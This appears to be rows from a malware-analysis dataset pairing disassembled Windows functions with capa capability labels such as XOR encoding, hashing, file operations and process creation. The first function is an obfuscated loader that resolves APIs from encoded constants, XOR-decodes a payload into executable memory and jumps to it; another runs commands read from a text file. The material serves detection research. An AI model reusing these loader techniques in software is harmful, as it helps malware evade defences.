joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416c5e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x416c6d
pop dword [ebp - 0x3c]
mov eax, 0x416c6d
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xb4ad21d1
add dword [ebp - 0x4c], 0x99a5237a
mov dword [ebp - 0x48], 0xbdb7f603
add dword [ebp - 0x48], 0x747b5642
mov dword [ebp - 0x44], 0x1f51fa64
sub dword [ebp - 0x44], 0xd305b636
mov dword [ebp - 0x40], 0xe040e04d
sub dword [ebp - 0x40], 0xe040e04d
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xfec356f6
add dword [ebp - 0x4c], 0x75af1260
mov dword [ebp - 0x48], 0xda408f5c
sub dword [ebp - 0x48], 0x98d42de7
mov dword [ebp - 0x44], 0x6b640624
add dword [ebp - 0x44], 0xf80b6648
mov dword [ebp - 0x40], 0x6f9b9c88
sub dword [ebp - 0x40], 0x6f9b9c88
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x5326d2b9
add eax, 0xad1aed93
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3c526
push 0
call eax
mov ecx, 0xdf84014f
add ecx, 0x207c49c0
mov esi, eax
mov edi, 0x1672472
add edi, 0xfedc058e
add edi, dword [ebp - 0x3c]
mov ebx, 0x94afbd95
sub ebx, 0x94857b75
xor dword [ebp - 0x38], eax
mov edx, dword [edi]
xor dword [ebp - 0x2c], 0x30974029
xor edx, ebx
mov dword [ebp - 4], 0x1b79c990
mov dword [esi], edx
add esi, 0x3a3aa045
sub esi, 0x3a3aa041
add edi, 0xf922d085
sub edi, 0xf922d081
loop 0x416d85
add eax, 0x4ee1e55f
add eax, 0xb11f39b0
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x10098504
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x1014b671
call fcn.10143988
mov esi, ecx
mov dword [ebp - 0x14], esi
call fcn.1008c7ec
xor ebx, ebx
mov dword [esi], vtable.ScObjects::Thread.0
push 0x10
mov dword [ebp - 4], ebx
mov dword [esi + 0x10], ebx
mov byte [esi + 0x14], bl
call fcn.1008be91
mov dword [ebp - 0x14], eax
pop ecx
test eax, eax
je 0x1009854b
mov dword [eax], vtable.ScObjects::ThreadData.0
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
jmp 0x1009854d
mov eax, ebx
mov dword [esi + 8], eax
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push 0x10098730
push ebx
push ebx
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov ecx, dword [esi + 8]
mov edx, eax
add esp, 0x18
cmp edx, 0xffffffff
jne 0x10098580
mov dword [esi + 0x10], 0x20
mov dword [esi + 0xc], ebx
mov dword [ecx + 4], ebx
jmp 0x10098589
mov eax, dword [ebp - 0x10]
mov dword [esi + 0xc], eax
mov dword [ecx + 4], edx
mov eax, esi
call fcn.10143951
ret

Function at 0x10098830
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0x10], 0
jne 0x10098842
mov eax, dword [ecx + 8]
push dword [eax + 4]
call dword [sym.imp.kernel32.dll_ResumeThread]
ret

Function at 0x1009ee10
Capabilities:
Generate random numbers via winapi

Disassembly:
push 0x2c
mov eax, 0x1014c350
call fcn.101439bc
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x38], esi
mov ecx, esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x34], edi
call fcn.100989f5
mov dword [ebp - 4], edi
mov dword [ebp - 0x34], 1
call fcn.1009ef38
test eax, eax
je 0x1009ee8c
lea ecx, [ebp - 0x20]
push ecx
push 0x10
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x1009ee8c
push 0xffffffffffffffff
push 0x10155980
mov ecx, esi
call fcn.1008be91
movzx eax, byte [ebp + edi - 0x20]
push eax
lea eax, [ebp - 0x30]
push 0x10161ca0
push eax
call fcn.1008be91
lea eax, [ebp - 0x30]
push eax
push esi
call fcn.1008be91
add esp, 0x14
inc edi
cmp edi, 0x10
jb 0x1009ee63
jmp 0x1009ee9a
push 0xffffffffffffffff
push 0x10155980
mov ecx, esi
call fcn.1008be91
mov eax, esi
call fcn.10143966
ret

Function at 0x1009ef38
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push esi
mov esi, dword [0x107d04a8]
test esi, esi
jne 0x1009ef8c
push edi
push esi
push 1
push esi
push esi
mov edi, 0x107d04a8
push edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x1009ef85
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x1009ef85
push 8
push 1
push esi
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x1009ef85
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [0x107d04a8], esi
jmp 0x1009ef8b
mov esi, dword [0x107d04a8]
pop edi
mov eax, esi
pop esi
ret
Function at 0x1009f120
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push 0x58
mov eax, 0x1014c3ff
call fcn.101439bc
mov eax, dword [ebp + 8]
xor ebx, ebx
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x54], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ebx
call fcn.1009ef38
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x3c], ebx
call fcn.100989f5
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 4], 1
call fcn.100989f5
push edi
mov eax, 0x10161d28
mov dword [ebp - 0x48], 1
push eax
push esi
mov esi, dword [ebp - 0x44]
push eax
push edi
push esi
call fcn.1008be91
pop ecx
pop ecx
push eax
call fcn.1008be91
pop ecx
pop ecx
push eax
call fcn.1008be91
pop ecx
pop ecx
push eax
call fcn.1008be91
pop ecx
pop ecx
push eax
call fcn.1008be91
mov eax, dword [ebp - 0x4c]
pop ecx
pop ecx
test eax, eax
je 0x1009f271
lea ecx, [ebp - 0x3c]
push ecx
push ebx
push ebx
push 0x8003
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1009f271
push ebx
push dword [esi + 8]
push dword [esi + 4]
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1009f271
push 4
pop ecx
push ebx
lea eax, [ebp - 0x50]
mov dword [ebp - 0x40], ebx
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x50], ecx
push eax
push ecx
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x1009f271
push dword [ebp - 0x40]
call fcn.1008be91
mov edi, eax
pop ecx
test edi, edi
je 0x1009f271
push ebx
lea eax, [ebp - 0x40]
push eax
push edi
push 2
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov ecx, esi
push 0xffffffffffffffff
push 0x10155980
test eax, eax
jne 0x1009f232
call fcn.1008be91
jmp 0x1009f268
call fcn.1008be91
cmp dword [ebp - 0x40], 0
jbe 0x1009f268
cmp ebx, 0x28
jae 0x1009f268
movzx eax, byte [ebx + edi]
push eax
lea eax, [ebp - 0x38]
push 0x10161ca0
push eax
call fcn.1008be91
lea eax, [ebp - 0x38]
push eax
push esi
call fcn.1008be91
add esp, 0x14
inc ebx
cmp ebx, dword [ebp - 0x40]
jb 0x1009f23d
push edi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
pop ecx
jmp 0x1009f27f
push 0xffffffffffffffff
push 0x10155980
mov ecx, esi
call fcn.1008be91
cmp dword [ebp - 0x3c], 0
je 0x1009f28e
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
lea ecx, [ebp - 0x64]
call fcn.1008be91
mov eax, esi
call fcn.10143966
ret
Function at 0x100acc8e
Capabilities:
Create mailslot

Disassembly:
push 0x14
mov eax, 0x1014e497
call fcn.10143988
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [0x1018de8c]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100a8720
xor ebx, ebx
mov dword [esi], vtable.WinInterAppStream.0
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.100989f5
lea eax, [esi + 0x40]
mov byte [ebp - 4], 1
push eax
lea eax, [esi + 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.1008be91
pop ecx
pop ecx
push eax
call fcn.1008be91
push 0xc
lea edi, [esi + 0x58]
push ebx
push edi
call sub.VCRUNTIME140.dll_memset
push edi
mov ecx, ebx
call fcn.1008be91
add esp, 0x18
test al, al
je 0x100acd01
cmp dword [esi + 0x5c], ebx
cmovne ecx, edi
push ecx
push ebx
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.kernel32.dll_CreateMailslotA]
lea ecx, [ebp - 0x20]
mov dword [esi + 0x54], eax
call fcn.1008be91
mov eax, esi
call fcn.10143951
ret 8

Function at 0x100ace90
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x1014c15d
call fcn.10143988
mov esi, ecx
push esi
lea ecx, [ebp - 0x1c]
call fcn.1008c7b9
and dword [ebp - 4], 0
lea eax, [esi + 0x30]
push eax
lea ecx, [ebp - 0x2c]
call fcn.100988a3
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
xor ebx, ebx
inc ebx
mov byte [ebp - 4], bl
push dword [eax + 8]
push dword [eax + 4]
call fcn.1008be91
push 0
xor ecx, ecx
lea eax, [esi + 0x58]
cmp dword [esi + 0x5c], ecx
push 0x80
push 3
cmovne ecx, eax
push ecx
push ebx
push 0x40000000
push dword [ebp - 0x28]
call dword [sym.imp.kernel32.dll_CreateFileA]
and dword [ebp - 0x10], 0
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x100acf2b
mov edi, dword [ebp + 0xc]
lea ecx, [ebp - 0x10]
push 0
push ecx
push dword [edi + 8]
push dword [edi + 4]
push eax
call dword [sym.imp.kernel32.dll_WriteFile]
push dword [ebp - 0x14]
mov esi, eax
call dword [sym.imp.kernel32.dll_CloseHandle]
test esi, esi
je 0x100acf2b
mov eax, dword [ebp - 0x10]
cmp eax, dword [edi + 8]
je 0x100acf2d
xor bl, bl
lea ecx, [ebp - 0x2c]
call fcn.1008be91
lea ecx, [ebp - 0x1c]
call fcn.1008be91
mov al, bl
call fcn.10143951
ret 8
Function at 0x101236a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1012373b
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x101236f2
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x101236f2
cmp esi, ebx
jge 0x101236f2
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x10123735
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x10123735
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x10151aac]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x10151aac]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1012374d
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc

Function at 0x10123970
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101935e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d058c], 0
mov eax, dword [ebp + 8]
je 0x10123998
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x101239b2
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.1008be91
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10143940
leave
ret 4

Function at 0x10123b80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x101935e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d058c], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x10123bb6
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x10123c15
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.1008be91
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.1008be91
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.1008be91
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10143940
leave
ret 0x10
Function at 0x10123c30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101935e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d058c], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x10123c5c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x10123c8d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x10123c8b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.1008be91
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x10123c8d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10143940
leave
ret 8
Function at 0x10132ac0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x101935e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor edx, edx
push edi
xor ebx, ebx
inc edx
mov edi, dword [esi]
cmp dword [edi + 0x254], ebx
je 0x10132b20
cmp dword [edi + 0x264], ebx
je 0x10132b19
cmp byte [0x107d058c], 0
push edi
push dword [edi + 0x250]
je 0x10132b08
call dword [sym.imp.kernel32.dll_FindNextFileW]
jmp 0x10132b0e
call dword [sym.imp.kernel32.dll_FindNextFileA]
mov ecx, dword [esi]
xor edx, edx
inc edx
mov dword [ecx + 0x264], eax
mov eax, dword [esi]
jmp 0x10132c00
mov eax, dword [edi + 0x25c]
test eax, eax
je 0x10132c8f
push eax
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy]
pop ecx
pop ecx
mov ecx, dword [esi]
cmp dword [ecx + 0x260], ebx
je 0x10132b6e
lea eax, [ebp - 0x234]
push eax
call fcn.1008be91
mov eax, dword [esi]
push dword [eax + 0x260]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
mov ecx, dword [esi]
add esp, 0xc
test byte [ecx + 0x268], 1
push 0x10
pop eax
lea edx, [eax + 0x70]
cmove eax, edx
mov dword [ecx], eax
cmp byte [0x107d058c], 0
je 0x10132b9a
push dword [esi]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileW]
jmp 0x10132bbc
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.1008be91
push dword [esi]
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov ecx, dword [esi]
mov dword [ecx + 0x250], eax
xor eax, eax
mov ecx, dword [esi]
cmp dword [ecx + 0x250], 0xffffffff
setne al
mov dword [ecx + 0x264], eax
mov eax, dword [esi]
cmp dword [eax + 0x264], ebx
jne 0x10132bea
mov dword [eax + 0x250], ebx
mov eax, dword [esi]
xor edx, edx
inc edx
mov dword [eax + 0x254], edx
mov eax, dword [esi]
cmp dword [eax + 0x264], ebx
jne 0x10132c00
mov dword [esi + 4], edx
mov ecx, eax
cmp dword [eax + 0x264], ebx
je 0x10132c27
cmp byte [0x107d058c], 0
jne 0x10132c27
push dword [eax + 0x258]
add eax, 0x2c
push eax
call fcn.1008be91
mov ecx, dword [esi]
xor edx, edx
inc edx
mov eax, dword [ecx]
mov dword [ecx + 0x26c], eax
mov edi, dword [esi]
mov ebx, dword [edi + 0x26c]
shr ebx, 4
and ebx, edx
je 0x10132c5c
push esi
xor ebx, ebx
call fcn.1008be91
xor edx, edx
inc edx
cmp word [eax], 0x2e
je 0x10132c58
test byte [edi + 0x268], 3
jne 0x10132c66
mov ebx, edx
jmp 0x10132c66
test byte [edi + 0x268], 1
cmovne ebx, edx
mov eax, dword [edi + 0x264]
test eax, eax
je 0x10132c8a
push 0
test ebx, ebx
pop ebx
jne 0x10132ae0
test byte [edi + 0x26c], 2
jne 0x10132ae0
test eax, eax
setne al
jmp 0x10132c91
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10143940
leave
ret 4
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406060], 1
mov dword [0x40605c], 1
mov dword [0x406058], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x406014], eax
mov eax, dword [0x40606c]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406080]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x406068]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x4030b0], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401850
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x4018b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406074]
test esi, esi
jle 0x4019d0
mov eax, dword [0x406078]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x4018e4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401967
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4018d0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x4019f7
mov eax, dword [0x406078]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x406078]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x4019d7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401960
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401970
add dword [0x406074], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406078]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401960
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x4018ee
mov eax, dword [0x406078]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x401f10
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406090
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406088]
sub esp, 4
test ebx, ebx
je 0x401f65
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x401f5e
test esi, esi
je 0x401f5e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f40
mov dword [esp], 0x406090
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4022a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4022c5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4022d0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4022c5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402318
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40230e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40231a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402300
xor eax, eax
pop ebx
pop esi
ret

Function at 0x4026c0
Capabilities:
Create process on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x414]
mov esi, str.c:windows_system32cmd.exe__k
push ebx
lea ebx, [ebp - 0x5d0]
push ecx
sub esp, 0x5e8
call dbg.__main
xor eax, eax
mov ecx, 0xff
xor edx, edx
rep stosd dword es:[edi], eax
mov ecx, 0xf
mov edi, ebx
mov dword [ebp - 0x418], 0
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x594]
mov ecx, 0x1e
mov edi, eax
rep movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x418]
mov ecx, dword [eax + edx*4]
mov byte [esi + edx], cl
add edx, 1
cmp edx, 0x1e
jne 0x402720
lea edi, [ebp - 0x51c]
mov byte [ebp - 0x3fa], 0
mov dword [ebp - 0x5e0], 0x7478742e
mov byte [ebp - 0x5dc], 0
mov dword [ebp - 0x5d8], 0x6e65706f
mov byte [ebp - 0x5d4], 0
mov dword [esp + 8], 0x104
mov dword [esp + 4], edi
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
sub esp, 0xc
test eax, eax
je 0x4027f1
mov dword [esp + 4], 0x2e
mov dword [esp], edi
call sym._strrchr
test eax, eax
je 0x402874
mov edx, dword [ebp - 0x5e0]
mov dword [eax], edx
movzx edx, byte [ebp - 0x5dc]
mov byte [eax + 4], dl
mov dword [esp], edi
mov dword [esp + 4], 0x404045
call sym._fopen
mov edi, eax
test eax, eax
je 0x4027f1
mov dword [esp + 8], eax
mov dword [esp + 4], 0x400
mov dword [esp], esi
call sym._fgets
mov dword [esp], edi
call sym._fclose
mov dword [esp + 4], 0x404047
mov dword [esp], esi
call sym._strcspn
mov byte [ebp + eax - 0x418], 0
mov dword [esp + 4], 0x20
mov dword [esp], esi
call sym._strchr
mov edx, 0x404044
test eax, eax
je 0x402810
mov byte [eax], 0
lea edx, [eax + 1]
lea eax, [ebp - 0x5d8]
mov dword [ebp - 0x5c0], esi
mov dword [ebp - 0x5d0], 0x3c
mov dword [ebp - 0x5cc], 0x40
mov dword [ebp - 0x5c8], 0
mov dword [ebp - 0x5c4], eax
mov dword [ebp - 0x5bc], edx
mov dword [ebp - 0x5b8], 0
mov dword [ebp - 0x5b4], 1
mov dword [esp], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
xor eax, eax
sub esp, 4
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
lea eax, [ebp - 0x5e0]
mov dword [esp], edi
mov dword [esp + 4], eax
call sym._strcat
jmp 0x4027a7